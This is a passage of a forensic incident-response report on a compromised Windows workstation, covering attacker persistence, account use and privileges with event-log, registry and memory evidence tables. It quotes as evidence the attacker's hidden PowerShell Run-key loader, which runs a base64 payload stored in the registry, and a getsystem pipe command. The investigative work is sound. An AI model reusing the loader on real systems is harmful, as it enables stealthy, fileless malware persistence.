2020-09-19 02:35:55.285340	Network flows (Suricata)	network flow: start 10.42.85.115 TCP 10.42.85.10:62514 -> 10.42.85.115:3389 rdp state=closed bytes=875256/452944	suricata/case001.pcap/ eve_flow.jsonl#21411	case001.pcap
2020-09-19 02:36:23.515604	Network flows (Suricata)	network flow: start 10.42.85.115 UDP 10.42.85.10:63121 -> 10.42.85.115:3389 failed state=established bytes=283842/6695207	suricata/case001.pcap/ eve_flow.jsonl#31238	case001.pcap
2020-09-19 02:24:06.940653	Files transferred (Suricata)	file transferred over the network /coreupdater.exe app_proto=http | http_hostname=194.61.24.102 | src_ip=194.61.24.102 | dest_ip=10.42.85.10 | fileinfo_size=7168 | fileinfo_sha256=10f3b92002bb98467334161cf85d0b17308 51f9256f83c27db125e9a0c1cfda6 | fileinfo_md5=eed41b4500e473f97c50c7385ef5e374 | fileinfo_state=CLOSED	suricata/case001.pcap/ eve_fileinfo.jsonl#106	case001.pcap
2020-09-19 03:36:22.980909	Event logs (EVTX)	EVTX event - Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137.LOCAL\Administrator | LogonType 3 | LogonId: 0x842184 | AuthenticationPackageName: Kerberos | LogonProcessName: Kerberos | - | - (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39563	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:36:24.432948	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\Administrator | LogonType 10 | LogonId: 0x857E73 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39576	F:\Windows\System32\ winevt\logs\Security.evtx

4.6 Persistence

I found two attacker persistence mechanisms, both set up during the C137\Administrator RDP session.
(1) F-019, fileless: HKLM Run value "coreupdate", written 03:44:03 UTC. It starts a hidden PowerShell that runs base64 code stored in HKLM\Software\q9Z1bssi\JqxNhWJA, which matches the Metasploit registry_persistence template. It fired at ricksanchez's logon at 05:08:37 (Shell-Core 9707/9708, PowerShell 600/400), so the attacker gained a Domain Admin context.
(2) F-020: auto-start LocalSystem service "coreupdater" (C:\Windows\System32\coreupdater.exe), sources 7045 03:42:42 + SYSTEM hive + memory svclist (STOPPED). It has never fired because the last boot (01:24) came before the install. "nehgye" was a temporary getsystem service, already deleted, and is not persistence.
Ruled out as benign: scheduled tasks (TaskCache, TaskScheduler 106/140/141, memory), HKCU Run/RunOnce (OneDrive), AppInit_DLLs (empty), Active Setup, Print Monitors/Processors, BootExecute/SetupExecute, WMI 5861 (built-in SCM filter), hosts file (unchanged), Startup folders, and services written after boot (RDP, USB, FTK).
Recorded: T-017, IOCs I-011 (Run value) and I-012 (service), plus a note listing the ruled-out items.

F-020: Persistence #2: auto-start LocalSystem service "coreupdater" (C:\Windows\System32\coreupdater.exe) still registered but not triggered yet (no reboot since install); "nehgye" was transient

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:registry: services artifact:services (dissect)

	evtx:system.evtx memory
Category	persistence
MITRE ATT&CK	T1543.003, T1569.002
Period (UTC)	2020-09-19 03:42:42.676537 → 2020-09-19 03:43:14.990879

Observed facts

SYSTEM hive: service "coreupdater", ImagePath C:\Windows\System32\coreupdater.exe, Start=Automatic (2), Type=Win32OwnProcess, ObjectName LocalSystem, key LastWrite 2020-09-19 03:42:42.676537 UTC (recmd_kroll_F_Services.csv#115; dissect services.jsonl#95). System 7045 at 03:42:42.6765372 "Name: coreupdater StartType: auto start Account: LocalSystem" (evtxecmd_0.csv#40866), same second as sc.exe execution (F-012). Memory (svclist, capture ~05:10): coreupdater SERVICE_AUTO_START / SERVICE_STOPPED, no PID (SvcList.jsonl#22). Service "nehgye" (7045 03:43:14.99, demand start, LocalSystem, evtxecmd_0.csv#40867) is no longer in the SYSTEM hive (reg_services/dissect_services return nothing) nor in memory svclist. Last boot is 01:24:04, before the install, so the service never started through SCM.

Analysis

coreupdater is a Meterpreter payload (F-008/F-017). As a standalone EXE that does not implement the SCM protocol, it would be started at boot as SYSTEM and probably killed by SCM after ~30 s (error 1053), but long enough to open a C2 session (the usual Metasploit service-persistence behaviour). It is a dormant boot persistence that would have fired at the next reboot. "nehgye" matches the Meterpreter getsystem technique 1 (a temporary service that echoes to a named pipe and is deleted right away). It is not persistence. Sources: registry hive + EVTX + memory (3 independent sources).

Evidence (5)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:42:42.676537	Registry: services	Service: key written C:\Windows\System32\coreupdater.exe coreupdater start=Automatic Win32OwnProcess	recmd_kroll/ 20261025191813/ recmd_kroll_F_Services.csv#115	
2020-09-19 03:42:42.676537	Services (Dissect)	service: ts C:\Windows\System32\coreupdater.exe name=coreupdater | start=Auto Start (2) | type=Service - Own Process (0x10) | objectname=LocalSystem	dissect/services.jsonl#95	
2020-09-19 03:42:42.676537	Event logs (EVTX)	EVTX event C:\Windows\System32\coreupdater.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: coreupdater | StartType: auto start | Account: LocalSystem | C:\ Windows\System32\coreupdater.exe	evtxecmd/ evtxecmd_0.csv#40866	F:\Windows\System32\ winevt\logs\System.evtx
2020-09-19 03:43:14.990879	Event logs (EVTX)	EVTX event cmd.exe /c echo nehgye > \\.\pipe\nehgye System 7045 | Service Control Manager | A new service was installed in the system | Name: nehgye | StartType: demand start | Account: LocalSystem | cmd.exe /c echo nehgye > \\.\pipe\nehgye	evtxecmd/ evtxecmd_0.csv#40867	F:\Windows\System32\ winevt\logs\System.evtx
	raw.vol_svclist	{"TreeDepth": "0", "Display": "coreupdater", "Name": "coreupdater", "Offset": "1402927956048", "Order": "662", "Start": "SERVICE_AUTO_START", "State": "SERVICE_STOPPED", "Type": "SERVICE_WIN32_OWN_PROCESS"}	volatility/ windows.svclist.SvcList.jsonl#22	

F-019: Persistence #1: HKLM Run value "coreupdate" + fileless payload in HKLM\Software\q9Z1bssi (Metasploit registry_persistence pattern), written 03:44:03 during the attacker session

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:registry (recmd kroll) artifact:run keys

	evtx:microsoft-windows-shell-core%4operational.evtx evtx:windows powershell.evtx
Category	persistence
MITRE ATT&CK	T1547.001, T1112, T1059.001, T1027
Period (UTC)	2020-09-19 03:44:03.540241 → 2020-09-19 05:08:40.797308

Observed facts

SOFTWARE hive, key HKLM\Software\Microsoft\Windows\CurrentVersion\Run, LastWrite 2020-09-19 03:44:03.540241 UTC, value "coreupdate" = %COMSPEC% /b /c start /b /min powershell -nop -w hidden -c "sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA'))))" (RECmd Kroll recmd_kroll_F.csv#7223; Dissect runkeys.jsonl#5). The other 3 HKLM Run values (SecurityHealth, VMware VM3DService Process, VMware User Process) are legitimate. The key write occurs 31 s after the getsystem service "nehgye" (7045 at 03:43:14) and 3 min after the coreupdater service (03:42:42), inside the RDP session of C137\Administrator (03:36:24-03:52:13). No file was written to disk around 03:43-03:44:30 ($J shows only ContentDeliveryManager temp files): the payload is stored only in the registry value HKLM\Software\q9Z1bssi\JqxNhWJA (the value itself was not extracted by the parsers). Trigger observed: at the next interactive logon of ricksanchez (SID -1106), Shell-Core 9707/9708 at 05:08:37 (evtxecmd_0.csv#20011/#20012, PID 1380) executed the Run command, PowerShell 600/400 at 05:08:40 show the HostApplication (evtxecmd_0.csv#40903, #40909), followed by the second Meterpreter session (already documented in F-010/F-016).

Analysis

Random key/value names (q9Z1bssi / JqxNhWJA), cmd /b /c start /b /min powershell -nop -w hidden + iex(base64 from registry) is the exact template of Metasploit exploit/windows/local/registry_persistence, run through the SYSTEM Meterpreter session obtained by getsystem. Writing to HKLM requires admin/SYSTEM, which fits. As an HKLM Run value it runs at every interactive logon of ANY user, in that user's context: this is why it ran as ricksanchez (Domain Admin), which handed the attacker a Domain Admin token. Fileless: deleting only coreupdater.exe would not remove it. Both the Run value and q9Z1bssi must be deleted. This finding adds the persistence mechanics to F-010 (which covers the execution). Two independent sources: registry hive (RECmd/Dissect) and EVTX (Shell-Core + PowerShell).

Evidence (6)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:44:03.540241	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows\CurrentVersion\Run Autoruns | Run (SYSTEM) | coreupdate=%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c "sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA'))))"	recmd_kroll/ recmd_kroll_F.csv#7223	F:\Windows\System32\config\SOFTWARE
2020-09-19 03:44:03.540241	Run keys	run: ts Microsoft\Windows\CurrentVersion\Run name=coreupdate | command={"executable":"%COMSPEC%","args":["/b /c start /b /min powershell -nop -w hidden -c \"sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\\q9Z1bssi').GetValue('JqxNhWJA'))))\""]}	dissect/runkeys.jsonl#5	sysvol/windows/system32/config/SOFTWARE
2020-09-19 05:08:37.533172	Event logs (EVTX)	EVTX event q9Z1bssi').GetValue('JqxNhWJA'))))" Microsoft-Windows-Shell-Core/Operational 9707 | Microsoft-Windows-Shell-Core | Started execution of command | q9Z1bssi').GetValue('JqxNhWJA'))))"	evtxecmd/ evtxecmd_0.csv#20011	F:\Windows\System32\winevt\logs\Microsoft-Windows-Shell-Core%4Operational.evtx
2020-09-19 05:08:37.674622	Event logs (EVTX)	EVTX event q9Z1bssi').GetValue('JqxNhWJA'))))" Microsoft-Windows-Shell-Core/Operational 9708 | Microsoft-Windows-Shell-Core | Finished execution of command | PID: 1380 | q9Z1bssi').GetValue('JqxNhWJA'))))"	evtxecmd/ evtxecmd_0.csv#20012	F:\Windows\System32\winevt\logs\Microsoft-Windows-Shell-Core%4Operational.evtx
2020-09-19	Event logs (EVTX)	EVTX event	evtxecmd/	F:\Windows\System32\

UTC	Artifact	Detail	Reference	Original source
05:08:40.484484		Windows PowerShell 600 | PowerShell | Provider is Started | HostApplication=powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA')))) | HostName=ConsoleHost | HostVersion=5.1.19041.1	evtxecmd_0.csv#40903	winevt\logs\Windows PowerShell.evtx
2020-09-19 05:08:40.797308	Event logs (EVTX)	EVTX event Windows PowerShell 400 | PowerShell | Engine state is changed from None to Available | HostApplication=powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA')))) | HostName=ConsoleHost | HostVersion=5.1.19041.1	evtxecmd/ evtxecmd_0.csv#40909	F:\Windows\System32\winevt\logs\Windows PowerShell.evtx

4.7 Accounts, authentication and privileges

I reviewed the Security events (4624/4625/4634/4647/4648/4672/4720/4722/4724/4728/4732/4738/4798/4799), TerminalServices LSM 21-25/39/40, RCM 261/1149, the SAM UserAccounts, the Terminal Server registry values and the memory token SIDs (getsids).

F-021 (context):
- All account creations happened during OOBE: WDAGUtilityAccount, defaultuser0 and the local Admin (RID 1001).
- The domain join at 21:42:15 used explicit C137\Administrator credentials (4648) and added Domain Admins to the local Administrators group.
- There was only one 4625, and it came from clock skew. There was no brute force against the workstation.
- I summarised logons per account: Admin local console until 03:17:00; ricksanchez and mortysmith type 2 on 2020-09-18 22:44-22:59; ricksanchez type 11/7 at 05:08:15; C137\Administrator type 3 Kerberos and type 10 from 10.42.85.10, 03:36:22-03:52:13.

F-022 (medium):
- At 22:55:33, ricksanchez (from his console session, LogonId 0x438E75) added -500, Domain Admins, Domain Users and mortysmith to Remote Desktop Users. This is probably admin configuration done before the incident, but it authorised the attacker's RDP path.
- fDenyTSConnections=0. The key's LastWrite (03:17:00) matches the end of the local Admin session.

F-023 (high, EVTX + memory):
- The attacker's session (LogonId 0x857E73) had SeDebug, SeLoadDriver and similar privileges. The coreupdater/Edge tokens contain Domain Admins (-512) and Enterprise Admins (-519), so no local privilege escalation was needed beyond getsystem.
- ricksanchez (Domain Admin per memory) made a cached type 11 logon at 05:08:15 at the start of the responder's acquisition. That logon set off the HKLM Run loader in a Domain Admin context.

I added timeline events T-018 (logoff 03:52:13) and T-019 (RDU change), and IOC I-013 (the compromised C137\Administrator account).

F-023: Attacker session privileges: C137\Administrator RDP logon (LogonId 0x857E73) holds Domain Admins + Enterprise Admins + SeDebugPrivilege; ricksanchez (Domain Admin) cached logon at 05:08 triggered the Run-key loader

Severity	**High**
Confidence	confirmed
Independent sources	evtx:security.evtx memory
Category	privilege escalation / valid accounts
MITRE ATT&CK	T1078.002, T1021.001, T1547.001
Period (UTC)	2020-09-19 03:36:22.980909 → 2020-09-19 05:08:15.224627

Observed facts

Authentication chain 2020-09-19: 03:36:22.98 4672 + 4624 type 3 Kerberos C137.LOCAL\Administrator from 10.42.85.10, LogonId 0x842184 (NLA pre-auth, #39562/#39563); 03:36:23.01 RemoteConnectionManager 1149 source 10.42.85.10

(#34902); 03:36:24.43 4648 by svchost PID 0x1C0 (TermService) 10.42.85.10:0 (#39575); 4624 type 10 LogonProcess User32, LogonId 0x857E73 (#39576); 4672 SeSecurity/SeTakeOwnership/SeLoadDriver/SeBackup/SeRestore/SeDebug/ SeSystemEnvironment/SeImpersonate (#39577); LSM 21/22 session 3 from 10.42.85.10; 4647 logoff 03:52:13.47 (#39812), 4634 type 3 0x842184 at 03:52:13.99 (#39819). Memory (getsids): coreupdater.exe token contains S-1-5-21-2232410529-1445159330-2725690660-500 (Administrator), -512 Domain Admins and -519 Enterprise Admins (GetSIDs.jsonl#619/#632/#634); same for MicrosoftEdge (#600/#613/#615).
ricksanchez at 2020-09-19 05:08:15: 4648 + 4624 type 11 CachedInteractive LogonId 0xB3CE02 (#39825/#39826), 4672 admin privileges (#39828), 4624 type 7 unlock (#39830); processes of ricksanchez in memory (FTK Imager.exe, OneDrive, etc.) carry -1106 and -512 Domain Admins (GetSIDs.jsonl#1164/#1176).

Analysis

The attacker did not need a local privilege escalation to obtain administrative rights: the stolen domain Administrator credential (brute-forced on the DC, F-018) already gives Domain/Enterprise Admin and SeDebugPrivilege; getsystem (F-009) was only used to obtain a SYSTEM token. The 05:08:15 logon of ricksanchez is a cached (type 11) interactive logon matching the start of the responder acquisition (FTK Imager run under ricksanchez, F-002); it caused HKLM Run 'coreupdate' to execute (F-010/F-019) inside a Domain Admin token, giving the attacker a second session with Domain Admin rights. Type 11 means the DC was not contacted for that logon (network or DC availability), which is consistent with DC being the compromised pivot but is not conclusive.

Evidence (10)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 03:36:22.980909	Event logs (EVTX)	EVTX event - Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137.LOCAL\Administrator | LogonType 3 | LogonId: 0x842184 | AuthenticationPackageName: Kerberos | LogonProcessName: Kerberos | - | - (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39563	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:36:24.432948	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\Administrator | LogonType 10 | LogonId: 0x857E73 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (10.42.85.10)	evtxecmd/ evtxecmd_0.csv#39576	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:36:24.432952	Event logs (EVTX)	EVTX event Security 4672 | Microsoft-Windows-Security-Auditing | Administrative logon | PrivilegeList: SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeDelegateSessionUserImpersonatePrivilege | LogonId: 0x857E73	evtxecmd/ evtxecmd_0.csv#39577	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:52:13.468385	Event logs (EVTX)	EVTX event Security 4647 | Microsoft-Windows-Security-Auditing | User initiated logoff | LogonId: 0x857E73	evtxecmd/ evtxecmd_0.csv#39812	F:\Windows\System32\ winevt\logs\Security.evtx
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Administrator", "PID": "8324", "Process": "coreupdater.ex", "SID": "S-1-5-21-2232410529-1445159330-2725690660-500"}	volatility/ windows.getsids.GetSIDs. jsonl#619	
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Domain Admins", "PID": "8324", "Process": "coreupdater.ex", "SID": "S-1-5-21-2232410529-1445159330-2725690660-512"}	volatility/ windows.getsids.GetSIDs. jsonl#632	
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Enterprise Admins", "PID": "8324", "Process": "coreupdater.ex", "SID": "S-1-5-21-2232410529-1445159330-2725690660-519"}	volatility/ windows.getsids.GetSIDs. jsonl#634	
2020-09-19 05:08:15.224593	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ricksanchez | LogonType 11 | LogonId: 0xB3CE02 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#39826	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 05:08:15.224627	Event logs (EVTX)	EVTX event Security 4672 | Microsoft-Windows-Security-Auditing | Administrative logon | PrivilegeList: SeSecurityPrivilege,	evtxecmd/ evtxecmd_0.csv#39828	F:\Windows\System32\ winevt\logs\Security.evtx

UTC	Artifact	Detail	Reference	Original source
		SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeDelegateSessionUserImpersonatePrivilege | LogonId: 0xB3CE02		
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Domain Admins", "PID": "6544", "Process": "FTK Imager.exe", "SID": "S-1-5-21-2232410529-1445159330-2725690660-512"}	volatility/ windows.getsids.GetSIDs.jsonl#1176	

F-022: Remote Desktop Users group populated by C137\ricksanchez (Domain Administrator, Domain Admins, Domain Users, mortysmith) — enabled the later RDP path

Severity	**Medium**
Confidence	confirmed
Independent sources	artifact:registry (recmd kroll) evtx:microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx evtx:security.evtx
Category	privilege / configuration
MITRE ATT&CK	T1098, T1021.001
Period (UTC)	2020-09-18 22:52:49.588649 → 2020-09-19 03:36:23.009739

Observed facts

Security 4732 at 2020-09-18 22:55:33.99–22:55:34.00 (#38829-#38832), target Builtin\Remote Desktop Users (S-1-5-32-555), SubjectUserSid S-1-5-21-2232410529-1445159330-2725690660-1106 (C137\ricksanchez), SubjectLogonId 0x438E75 = ricksanchez interactive logon type 2 of 22:52:49 (4624 #38782, LSM session 3). Members added: -500 (C137\Administrator), -512 (Domain Admins), -513 (Domain Users), -1108 (mortysmith). Registry: HKLM\SYSTEM\ControlSet001\Control\Terminal Server fDenyTSConnections=0 (key LastWrite 2020-09-19 03:17:00.95, recmd_kroll_F.csv#7138), RDP-Tcp UserAuthentication=1 (NLA). First RDP listener connection 261 at 03:35:54, 1149 from 10.42.85.10 at 03:36:23 (#34902).

Analysis

This change occurs ~4.5 h before the first attacker activity (RDP scan of DC ≈03:19 host time) and is performed from a legitimate interactive console session of ricksanchez, so it is most likely administrative configuration by the environment owner, not attacker action (probable interpretation). Nevertheless it is a security weakness: adding Domain Users to Remote Desktop Users allows any domain account to RDP to the workstation, and the attacker's C137\Administrator RDP logon relied on RDP being enabled and authorised. The fDenyTSConnections key LastWrite (03:17:00) coincides with the logoff of the local Admin console session (03:17:00), so RDP may have been (re)enabled by Admin at that moment; the key timestamp alone does not prove which value was written (possible).

Evidence (7)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 22:55:33.992616	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-500 | PrivilegeList: -	evtxecmd/ evtxecmd_0.csv#38829	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-18 22:55:33.996906	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-512 | PrivilegeList: -	evtxecmd/ evtxecmd_0.csv#38830	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-18	Event logs (EVTX)	EVTX event	evtxecmd/	F:\Windows\System32\

UTC	Artifact	Detail	Reference	Original source
22:55:33.998901		Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-513 | PrivilegeList: -	evtxecmd_0.csv#38831	winevt\logs\Security.evtx
2020-09-18 22:55:34.000371	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Remote Desktop Users (S-1-5-32-555) | SubjectLogonId: 0x438E75 | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-1108 | PrivilegeList: -	evtxecmd/ evtxecmd_0.csv#38832	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 22:52:49.588649	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ricksanchez | LogonType 2 | LogonId: 0x438E75 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#38782	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:17:00.952531	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\Terminal Server Threat Hunting | RDP Connections Status | fDenyTSConnections=0	recmd_kroll/ recmd_kroll_F.csv#7138	F:\Windows\System32\ config\SYSTEM
2020-09-19 03:36:23.009739	Event logs (EVTX)	EVTX event Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational 1149 | Microsoft-Windows-TerminalServices-RemoteConnectionManager | RDP network connection established | 10.42.85.10	evtxecmd/ evtxecmd_0.csv#34902	F:\Windows\System32\ winevt\logs\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx

F-021: Accounts & authentication summary: no account created after setup, no brute force against the workstation; only remote logon is C137\Administrator via RDP

Severity	**Informational**
Confidence	confirmed
Independent sources	artifact:registry: accounts (sam) evtx:security.evtx
Category	context
MITRE ATT&CK	T1078.002
Period (UTC)	2020-09-18 05:41:16.821390 → 2020-09-19 03:17:00.621295

Observed facts

Security.evtx coverage 2020-09-18 04:58 → 2020-09-19 05:18 (4624 x269, 4625 x1, 4634 x32, 4647 x10, 4648 x53, 4672 x229, 4720 x3, 4722 x2, 4724 x4, 4728 x3, 4732 x13, 4738 x22; no 4740/4768/4769/4776 — expected on a member workstation).
Account creation (4720) only during OOBE: WDAGUtilityAccount (RID 504) 2020-09-18 05:41:16 (#37494), defaultuser0 (RID 1000) 05:46:39 (#37621), local Admin (RID 1001) 05:49:07 (#37812, added to Builtin\Administrators #37822, subject SYSTEM 0x3E7). SAM (UserAccounts.csv#5): Admin created 05:49:07.89, pwd last set 05:49:07.98, last logon 2020-09-19 03:15:57, 6 logons, 0 invalid; Administrator(500)/Guest/DefaultAccount/WDAG disabled.
Domain join 2020-09-18 21:42:15: Admin used explicit credentials C137.LOCAL\Administrator towards CITADEL-DC01.C137.local 10.42.85.10:445 (4648 #38428), then 4732 adds Domain Admins (-512) to Builtin\Administrators and Domain Users (-513) to Builtin\Users (#38431/#38432, subject Admin LogonId 0x1A6AA). Single 4625 at 21:42:50 (type 3, "clocks between DC and other computer too far out of sync", #38517) — time-skew artefact of the join (see F-004).
Per account (4624): DESKTOP-SDN1RPT\Admin type 2 local console 05:49 → 2020-09-19 03:15:57 (last session 03:15:57–03:17:00, 4647 #39544); C137\ricksanchez type 2 at 2020-09-18 22:44:11 and 22:52:49 (LogonId 0x438E75, #38782), type 11 (cached) + type 7 at 2020-09-19 05:08:15 (#39826, #39830); C137\mortysmith type 2 at 22:46:39 and 22:59:58 (#38681, #38924); C137\Administrator type 3 Kerberos 03:36:22 from 10.42.85.10 (#39563) and type 10 03:36:24 from 10.42.85.10 (#39576), logoff 4647 03:52:13 (#39812); machine account DESKTOP-SDN1RPT$ type 3 (::1/local). No other type 3/10 logons from remote addresses, no failure bursts.

Analysis

The authentication record is clean apart from the C137\Administrator RDP session already described in F-006. No local or domain account was created or enabled by the attacker on this host (all 4720/4722/4724 occur during OOBE with subject SYSTEM). The domain-join group changes (Domain Admins → local Administrators) are standard. Lack of 4625 bursts on the workstation is consistent with the brute force having targeted the DC (F-018); the workstation was reached with already-valid domain admin credentials. Caveat: no DC logs are in scope, so Kerberos (4768/4769) of the attacker cannot be traced.

Evidence (11)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 05:41:16.821390	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: MINWINPC\ WDAGUtilityAccount (S-1-5-21-41211245-796119838-3940169921-504)	evtxecmd/ evtxecmd_0.csv#37494	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 05:46:39.866681	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-SDN1RPT\ defaultuser0 (S-1-5-21-41211245-796119838-3940169921-1000)	evtxecmd/ evtxecmd_0.csv#37621	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 05:49:07.897871	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-SDN1RPT\ Admin (S-1-5-21-41211245-796119838-3940169921-1001)	evtxecmd/ evtxecmd_0.csv#37812	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 05:49:08.012488	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Administrators (S-1-5-32-544) | SubjectLogonId: 0x3E7 | MemberName: - | MemberSid: S-1-5-21-41211245-796119838-3940169921-1001 | PrivilegeList: -	evtxecmd/ evtxecmd_0.csv#37822	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 05:49:07.890379	Registry: accounts (SAM)	Account created Admin RID=1001 logons=6 groups=Administrators	recmd_kroll/ 20261025191813/ recmd_kroll_F_UserAccounts.csv#5	
2020-09-18 21:42:15.957439	Event logs (EVTX)	EVTX event Security 4648 | Microsoft-Windows-Security-Auditing | A logon was attempted using explicit credentials | Target: C137.LOCAL\Administrator | TargetServerName: CITADEL-DC01.C137.local | PID: 0x4 | TargetInfo: cifs/CITADEL-DC01.C137.local | 10.42.85.10:445	evtxecmd/ evtxecmd_0.csv#38428	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 21:42:16.235521	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Administrators (S-1-5-32-544) | SubjectLogonId: 0x1A6AA | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-512 | PrivilegeList: -	evtxecmd/ evtxecmd_0.csv#38431	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 21:42:50.695343	Event logs (EVTX)	EVTX event - Security 4625 | Microsoft-Windows-Security-Auditing | Failed logon | Target: \ | LogonType 3 | FailureReason1: clocks between DC and other computer too far out of sync | FailureReason2: N/A | - | - (-)	evtxecmd/ evtxecmd_0.csv#38517	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 22:52:49.588649	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ricksanchez | LogonType 2 | LogonId: 0x438E75 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#38782	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-18 22:46:39.873256	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\mortysmith | LogonType 2 | LogonId: 0x270257 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\ System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/ evtxecmd_0.csv#38681	F:\Windows\System32\ winevt\logs\Security.evtx
2020-09-19 03:17:00.621295	Event logs (EVTX)	EVTX event Security 4647 | Microsoft-Windows-Security-Auditing | User initiated logoff | LogonId: 0x70C125	evtxecmd/ evtxecmd_0.csv#39544	F:\Windows\System32\ winevt\logs\Security.evtx

4.8 Remote access and lateral movement

Remote access and lateral movement review:
